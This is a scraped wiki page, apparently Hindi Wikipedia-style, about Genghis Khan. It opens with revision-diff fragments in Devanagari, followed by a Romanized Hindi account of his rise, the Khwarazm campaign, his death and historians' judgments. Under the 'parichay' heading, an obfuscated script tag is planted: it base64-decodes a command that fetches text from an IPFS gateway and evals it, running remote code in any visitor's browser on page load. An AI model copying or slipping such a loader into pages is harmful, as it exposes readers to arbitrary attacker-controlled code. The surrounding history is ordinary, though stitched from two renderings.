Difference between revisions of "चंगेज़ ख़ाँ"
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==ख़ारज़म और चंगेज़== | ==ख़ारज़म और चंगेज़== | ||
इन विजयों के बाद चंगेज़ आराम कर सकता था। ऐसा मालूम होता है कि पश्चिम पर हमला करने की उसकी इच्छा नहीं थी। वह ख़ारज़म के शाह से मित्रता का सम्बन्ध रखना चाहता था, लेकिन यह हो नहीं पाया। एक पुरानी कहावत है, जिसका मतलब है कि देवता जिसे नष्ट करना चाहते हैं, उसे पहले पागल कर देते हैं। ख़ारज़म का बादशाह अपनी ही बरबादी पर तुला हुआ था और उसे पूरा करने के लिए जो कुछ मुमकिन था, उसने किया। उसके एक सबे के हाक़िम ने मंगोल सौदागरों को क़त्ल कर दिया। चंगेज़ फिर भी सुलह चाहता था और उसने यह संदेश लेकर राजदूत भेजे कि उस गवर्नर को सज़ा दी जाए। लेकिन बेवक़ूफ शाह इतना घमंडी था और अपने को इतना बड़ा समझता कि उसने इन राजदूतों की बेइज्जती की और उनको मरवा डाला। चंगेज़ के लिए इसे बरदाश्त करना नामुमकिन था, लेकिन उसने जल्दबाज़ी से काम नहीं लिया। उसने सावधानी से तैयारी की और तब पश्चिम की तरफ़ अपनी फौज के साथ कूंच का डंका बजा दिया। | इन विजयों के बाद चंगेज़ आराम कर सकता था। ऐसा मालूम होता है कि पश्चिम पर हमला करने की उसकी इच्छा नहीं थी। वह ख़ारज़म के शाह से मित्रता का सम्बन्ध रखना चाहता था, लेकिन यह हो नहीं पाया। एक पुरानी कहावत है, जिसका मतलब है कि देवता जिसे नष्ट करना चाहते हैं, उसे पहले पागल कर देते हैं। ख़ारज़म का बादशाह अपनी ही बरबादी पर तुला हुआ था और उसे पूरा करने के लिए जो कुछ मुमकिन था, उसने किया। उसके एक सबे के हाक़िम ने मंगोल सौदागरों को क़त्ल कर दिया। चंगेज़ फिर भी सुलह चाहता था और उसने यह संदेश लेकर राजदूत भेजे कि उस गवर्नर को सज़ा दी जाए। लेकिन बेवक़ूफ शाह इतना घमंडी था और अपने को इतना बड़ा समझता कि उसने इन राजदूतों की बेइज्जती की और उनको मरवा डाला। चंगेज़ के लिए इसे बरदाश्त करना नामुमकिन था, लेकिन उसने जल्दबाज़ी से काम नहीं लिया। उसने सावधानी से तैयारी की और तब पश्चिम की तरफ़ अपनी फौज के साथ कूंच का डंका बजा दिया। | ||
| − | इस कूंच ने, जो सन् 1219 ई॰ में शुरू हुआ, एशिया की ओर कुछ हद तक यूरोप की आँखें इस नये आतंक की तरफ़ खोल दीं, जो बड़े भारी बेलन की तरह शहरों और करोड़ों आदमियों को बेरहमी के साथ कुचलता हुआ चला आ रहा था। ख़ारज़म का सम्राट मिट गया। बुखारा का बड़ा शहर, जिसमें बहुत महल थे और दस लाख से ज्यादा आबादी थी, जलाकर राख़ कर दिया। राजधानी समरकंद बर्बाद कर दी गई। और उसकी दस लाख की आबादी में सिर्फ पचास हज़ार लोग ही जिन्दा बचे। हिरात, बलख और दूसरे बहुत से ग़ुलज़ार शहर नष्ट कर दिये गए। करोड़ों आदमी मार डाले गए। जो कलाएँ और दस्तकारियाँ वर्षों से मध्य एशिया में फल-फूल रही थीं, गायब हो गईं। ईरान और मध्य एशिया में सभ्य जीवन का ख़ात्मा सा हो गया। जहाँ से चंगेज़ गुज़रा, वहाँ वीराना हो गया। | + | इस कूंच ने, जो सन् 1219 ई॰ में शुरू हुआ, [[एशिया]] की ओर कुछ हद तक यूरोप की आँखें इस नये आतंक की तरफ़ खोल दीं, जो बड़े भारी बेलन की तरह शहरों और करोड़ों आदमियों को बेरहमी के साथ कुचलता हुआ चला आ रहा था। ख़ारज़म का सम्राट मिट गया। बुखारा का बड़ा शहर, जिसमें बहुत महल थे और दस लाख से ज्यादा आबादी थी, जलाकर राख़ कर दिया। राजधानी समरकंद बर्बाद कर दी गई। और उसकी दस लाख की आबादी में सिर्फ पचास हज़ार लोग ही जिन्दा बचे। हिरात, बलख और दूसरे बहुत से ग़ुलज़ार शहर नष्ट कर दिये गए। करोड़ों आदमी मार डाले गए। जो कलाएँ और दस्तकारियाँ वर्षों से मध्य एशिया में फल-फूल रही थीं, गायब हो गईं। ईरान और मध्य एशिया में सभ्य जीवन का ख़ात्मा सा हो गया। जहाँ से चंगेज़ गुज़रा, वहाँ वीराना हो गया। |
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==ख़ारज़म का युद्ध== | ==ख़ारज़म का युद्ध== | ||
ख़ारज़म के बादशाह का लड़का जलालुद्दीन इस तूफान के ख़िलाफ़ बहादुरी से लड़ा। वह पीछे हटते-हटते सिंध नदी तक चला गया और जब यहाँ भी इस पर ज़ोर का दबाव पड़ा तो कहते हैं कि वे घोड़े पर बैठा हुआ, तीस फुट नीचे सिंध नदी में कूद पड़ा और तैरकर इस पार निकल आया। उसे दिल्ली दरबार में आश्रय मिला। चंगेज़ ने वहाँ तक उसका पीछा करना फ़िज़ूल समझा। | ख़ारज़म के बादशाह का लड़का जलालुद्दीन इस तूफान के ख़िलाफ़ बहादुरी से लड़ा। वह पीछे हटते-हटते सिंध नदी तक चला गया और जब यहाँ भी इस पर ज़ोर का दबाव पड़ा तो कहते हैं कि वे घोड़े पर बैठा हुआ, तीस फुट नीचे सिंध नदी में कूद पड़ा और तैरकर इस पार निकल आया। उसे दिल्ली दरबार में आश्रय मिला। चंगेज़ ने वहाँ तक उसका पीछा करना फ़िज़ूल समझा। | ||
Revision as of 08:28, 15 June 2010
parichay
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
san 1211 aur 1236 ee॰ ke bich, bharat ki sarahad par ek b da bhanyakar badal utha. yah badal mangoloan ka tha, jisaka neta changez khaan tha. changez khaan apane ek dushman ka pichha karata hua theth siandhu nadi tak a gaya, lekin yahian par ruk gaya. bharat bach gaya. isake qarib do sau varsh bad isi ke vansh ka ek doosara adami taimoor bharat mean mar-kat aur barabadi lekar aya. lekin bahut se mangoloan ne bharat par chhapa marane aur theth lahaur tak bhi a dhamakane ki adat-si dal li. kabhi-kabhi ye atank phailate the aur sultanoan tak ko bhi dara dete the ki ve dhan dekar apana pind chhu date the. hazaroan mangol panjab mean hi bas gaye.
janm
mangoliya ke ye khanabadosh mard aur aurat b de mazaboot the. kasht jhelane ki inhean adat thi aur ye log uttari eshiya ke lambe chau de maidanoan mean tambuoan mean rahate the. lekin inaka sharirik bal aur kasht jhelane ka muhavara inake jyada kam n ate, agar inhoanne ek saradar n paida kiya hota, jo b da anokha vyakti tha. yah vahi vyakti hai jo changez khaan ke nam se mashahoor hai. yah san 1155 ee॰ mean paida hua tha aur isaka asali nam timoochin tha. isaka pita yegusi-bagatur isako bachcha chho dakar mar gaya tha. 'bagatur' mangol amiroan ka lokapriy nam tha. isaka matalab hai 'vir' aur mera khyal hai ki ardoo ka 'bahadur' shabd isi se nikala hai.
bachapan
halaanki changez das varsh ka chhota l daka hi tha aur usaka koee madadagar nahian tha. phir bhi vah mehanat karata chala gaya aur akhir mean kamayab hua. vah qadam-qadam age badhata gaya, yahaan tak ki aant mean mangoloan ki b di sabha 'kurulataee' ne adhiveshan karake use apana 'khan mahan' ya 'kagan' ya samrat chuna. isase kuchh sal pahale use changez ka nam diya ja chuka hai.
mahan ya kagan
changez jab 'mahan' ya 'kagan' bana, us samay usaki umr 51 varsh ki ho chuki thi. yah javani ki umr nahian thi aur is umr par pahuanchakar zyadatar adami shaanti aur aram chahate haian. lekin usake lie to yah vijay yatra ke jivan ki shurooat thi. yah gaur karane ki bat hai, kyoanki jyadatar mahan vijetaoan ne mulkoan ko jitane ka kam javani mean hi poora kiya hai. isase ham yah natija bhi nikal sakate haian ki changez ne javani ke josh mean eshiya ko nahian rauand dala tha. vah adhe d umr ka ek hoshiyar aur savadhan adami tha aur har b de kam ko hath mean lene se pahale us par vichar aur usaki taiyari kar leta tha.
khanabadosh mangol
mangol log khanabadosh the. shaharoan aur shaharoan ke rang-dhang se bhi unhean nafarat thi. bahut se log samajhate haian ki chooanki ve khanabadosh the, isalie jangali rahe hoange, lekin yah khyal galat hai. shahar ki bahut si kalaoan ka unhean alabatta jnan nahian tha, lekin unhoanne jindagi ka apana ek alag tariqa dhal liya tha aur unaka sangathan bahut hi guantha hua tha. l daee ke maidan mean agar unhoanne mahan vijay prapt kian to adhik sankhya hone ke karan nahian, balki anushasan aur sangathan ke karan aur isaka sabase b da karan to yah tha ki unhean changez jaisa jagamagata senani mila tha. isamean koee shak nahian ki itihas mean changez jaisa mahan aur pratibha vala sainik neta doosara koee nahian hua hai. sikandar aur sijar isake samane nachiz nazar ate haian. changez n sirph khud bahut b da sipahasalar tha, balki usane apane bahut se phauji aphasaroan ko talim dekar hoshiyar nayak bana diya tha. apane vatan se hazaroan mil door hote hue bhi, dushmanoan aur virodhi janata se ghire rahate hue bhi, ve apane se jyada tadad ki phaujoan se l dakar un par vijay prapt karate the.
vijay yatra ki taiyariyaan
changez ne b di savadhani ke sath apani vijay yatra ki taiyariyaan kian. usane apani phauj ko l daee ki talim di. sabase jyada isane apane gho doan ko sikhaya tha aur is bat ka khas intajam kiya tha ki ek gho da marane ke bad doosara gho da turant hi sipahiyoan ke pas pahuanch sake, kyoanki khanabadoshoan ke lie gho doan se jyada mahatv ki chiz aur koee nahian hoti hai. in sab taiyariyoan ke bad usane poorv ki taraf kooanch kiya aur uttar chin aur manchooriya ke kin-samrajyoan ko qarib-qarib khatm kar diya aur pekiang par bhi qabza kar liya. usane koriya jit liya. maloom hota hai ki dakshini suangoan ko usane apana dost bana liya tha. in suangoan ne kin logoan ke khilaf usaki madad bhi ki thi. bechare yah nahian samajhate the ki inake bad unaki bhi bari ane vali hai. changez ne bad mean suangoan ko bhi jit liya tha.
kharazam aur changez
in vijayoan ke bad changez aram kar sakata tha. aisa maloom hota hai ki pashchim par hamala karane ki usaki ichchha nahian thi. vah kharazam ke shah se mitrata ka sambandh rakhana chahata tha, lekin yah ho nahian paya. ek purani kahavat hai, jisaka matalab hai ki devata jise nasht karana chahate haian, use pahale pagal kar dete haian. kharazam ka badashah apani hi barabadi par tula hua tha aur use poora karane ke lie jo kuchh mumakin tha, usane kiya. usake ek sabe ke haqim ne mangol saudagaroan ko qatl kar diya. changez phir bhi sulah chahata tha aur usane yah sandesh lekar rajadoot bheje ki us gavarnar ko saza di jae. lekin bevaqooph shah itana ghamandi tha aur apane ko itana b da samajhata ki usane in rajadootoan ki beijjati ki aur unako marava dala. changez ke lie ise baradasht karana namumakin tha, lekin usane jaldabazi se kam nahian liya. usane savadhani se taiyari ki aur tab pashchim ki taraf apani phauj ke sath kooanch ka danka baja diya. is kooanch ne, jo sanh 1219 ee॰ mean shuroo hua, eshiya ki or kuchh had tak yoorop ki aankhean is naye atank ki taraf khol dian, jo b de bhari belan ki tarah shaharoan aur karo doan adamiyoan ko berahami ke sath kuchalata hua chala a raha tha. kharazam ka samrat mit gaya. bukhara ka b da shahar, jisamean bahut mahal the aur das lakh se jyada abadi thi, jalakar rakh kar diya. rajadhani samarakand barbad kar di gee. aur usaki das lakh ki abadi mean sirph pachas hazar log hi jinda bache. hirat, balakh aur doosare bahut se gulazar shahar nasht kar diye ge. karo doan adami mar dale ge. jo kalaean aur dastakariyaan varshoan se madhy eshiya mean phal-phool rahi thian, gayab ho geean. eeran aur madhy eshiya mean sabhy jivan ka khatma sa ho gaya. jahaan se changez guzara, vahaan virana ho gaya.
kharazam ka yuddh
kharazam ke badashah ka l daka jalaluddin is toophan ke khilaf bahaduri se l da. vah pichhe hatate-hatate siandh nadi tak chala gaya aur jab yahaan bhi is par zor ka dabav p da to kahate haian ki ve gho de par baitha hua, tis phut niche siandh nadi mean kood p da aur tairakar is par nikal aya. use dilli darabar mean ashray mila. changez ne vahaan tak usaka pichha karana fizool samajha. selajook turkoan ki aur bagadad ki khushakismati thi ki changez ne inako bina chhe de chho d diya aur vah roos ki taraph badh gaya. usane kif ke graid dyook ko harakar qaid kar liya. phir vah hisiyoan ya tangatoan ke balave ko dabane ke lie poorv ki taraph laut gaya.
mrityu
changez sanh 1227 ee॰ mean bahattar varsh ki umr mean mar gaya. usaka samrajy pashchim mean kale samudr se poorv mean prashant mahasagar tak phaila hua tha. usamean ab bhi kafi tezi thi aur vah din-b-din badh hi raha tha. isaki rajadhani abhi tak mangoliya mean karakuram nam ka ek chhota sa qasba tha. khanabadosh hote hue bhi changez b da hi yogy sangathan karane vala tha aur usane buddhimani ke sath apani madad ke lie yogy mantri mukarrar kar rakhe the. usaka itani tezi ke sath jita hua samrajy usake marane par toota nahian.
itihas-lekhakoan ki nazar mean changez
- arab aur eerani itihas-lekhakoan ki nazar mean changez ek danav hai, use unhoanne 'khuda ka qahar' kaha hai. use b da zalim adami bataya gaya hai. isamean shak nahian ki vah b da zalim tha. lekin usake jamane ke doosare bahut se shasakoan mean aur usamean koee jyada phark nahian tha. bharat mean afagan badashah, kuchh chhote paimane par, isi tarah ke the. jab gazani par afaganoan ne san 1150 ee॰ mean qabza kiya to purane khoon ka badala lene ke lie in logoan ne us shahar ko loot aur jala tak diya. sat dinoan tak 'loot-mar, barabadi aur mar-kat jari rahi. jo mard mila, use qatl kar diya gaya. tamam striyoan aur bachchoan ko qaid kar liya gaya. mahamoodi badashahoan (yani sultan mahamood ke vanshajoan) ke mahal aur imaratean, jinaka duniya mean koee sani nahian tha, nasht kar diye ge.' musalamanoan ka apane biradar musalamanoan ke sath yah salook tha. isake, aur yahaan bharat mean jo kuchh afagan badashahoan ne kiya usake, aur madhy eshiya aur eeran mean changez ki vinashapoorn karravaee ke, darajoan mean koee phark nahian tha. changez kharazam khasataur par naraz tha, kyoanki shah ne us rajadoot ko qatl karava diya tha. usake lie to yah khooni jhag da tha. aur jagahoan par bhi changez ne khoob satyanash kiya tha, lekin utana nahian, jitana madhy eshiya mean.
- shaharoan ko yoan barabad karane ke pichhe changez ki ek aur bhavana bhi thi. usaki khanabadoshi ki tabiyat thi aur vah qasboan aur shaharoan se nafarat karata tha. vah khule maidanoan mean rahana pasand karata tha. ek dapha to changez ko khyal hua ki chin ke tamam shahar barabad kar diye jaean to achchha hoga. lekin khushakismati kahiye ki usane aisa kiya nahian. usaka vichar tha ki sabhyata aur khanabadoshi ki jindagi ko mila diya jay, lekin n to yah sambhav tha aur n hai.
- changez khaan ke nam se shayad yah khyal ho ki vah musalaman tha, lekin vah musalaman nahian tha. yah ek mangol nam hai. mazahab ke mamale mean changez b da udar tha. usaka apana mazahab agar kuchh tha to shamabad tha, jisamean 'avinashi nile akash' ki pooja hoti thi. vah chin ke 'tao' dharm ke panditoan se aksar khoob jnan-charcha kiya karata tha. lekin vah khud shama-mat par hi qayam raha aur jab kathinaee mean hota, tab akash ka hi ashray liya karata tha.
- changez ko mangoloan ki sabha ne 'khan-mahan' chuna tha. yah sabha asal mean samantoan ki sabha thi, janata ki nahian, aur yoan changez is firake ka samanti saradar tha.
- vah padha-likha nahian tha aur usake tamam anuyayi bhi usi ki tarah the. shayad vah bahut dinoan tak yah bhi nahian janata tha ki likhane jaisi bhi koee chiz hoti hai.
- sandesh zabani bheje jate the aur amataur par chhand mean roopakoan ya kahavatoan ke roop mean hote the. tajjub to yah hai ki zabani sandeshoan se kis tarah itane b़ de samrajy ka karabar chalaya jata tha. jab changez ko maloom hua ki vah v di phayedamand chiz hai aur usane apane putroan aur mukhy saradaroan ko ise sikhane ka hukm diya. usane yah bhi hukm diya tha ki mangoloan ka purana rivazi qanoon aur usaki apani uktiyaan bhi likh dali jaean. murad yah thi ki yah rivazi qanoon sada-sarvada ke lie 'aparivartanashal qanoon' hai, aur koee ise bhang nahian kar sakata tha. badashah ke lie bhi isaka palan karana zaroori tha. lekin yah 'aparivartanashil qanoon' ab aprapy hai aur ajakal ke mangoloan ko n to isaki koee yad hai aur n hi isaki koee parampara hi baqi rahi hai.
changez khaan ka uttaradhikari
- changez khaan ki mrityu ke bad usaka l daka ogataee 'khan-mahan' hua. changez aur us zamane ke mangoloan ke mukabale mean vah dayavan aur shantipriy svabhav ka tha. vah kaha karata tha ki "hamare kagan changez ne b di mehanat se hamare shahi khanadan ko banaya hai. ab vakt a gaya hai ki ham apane logoan ko shanti dean, khushahal banayean aur unaki musibatoan ka kam karean."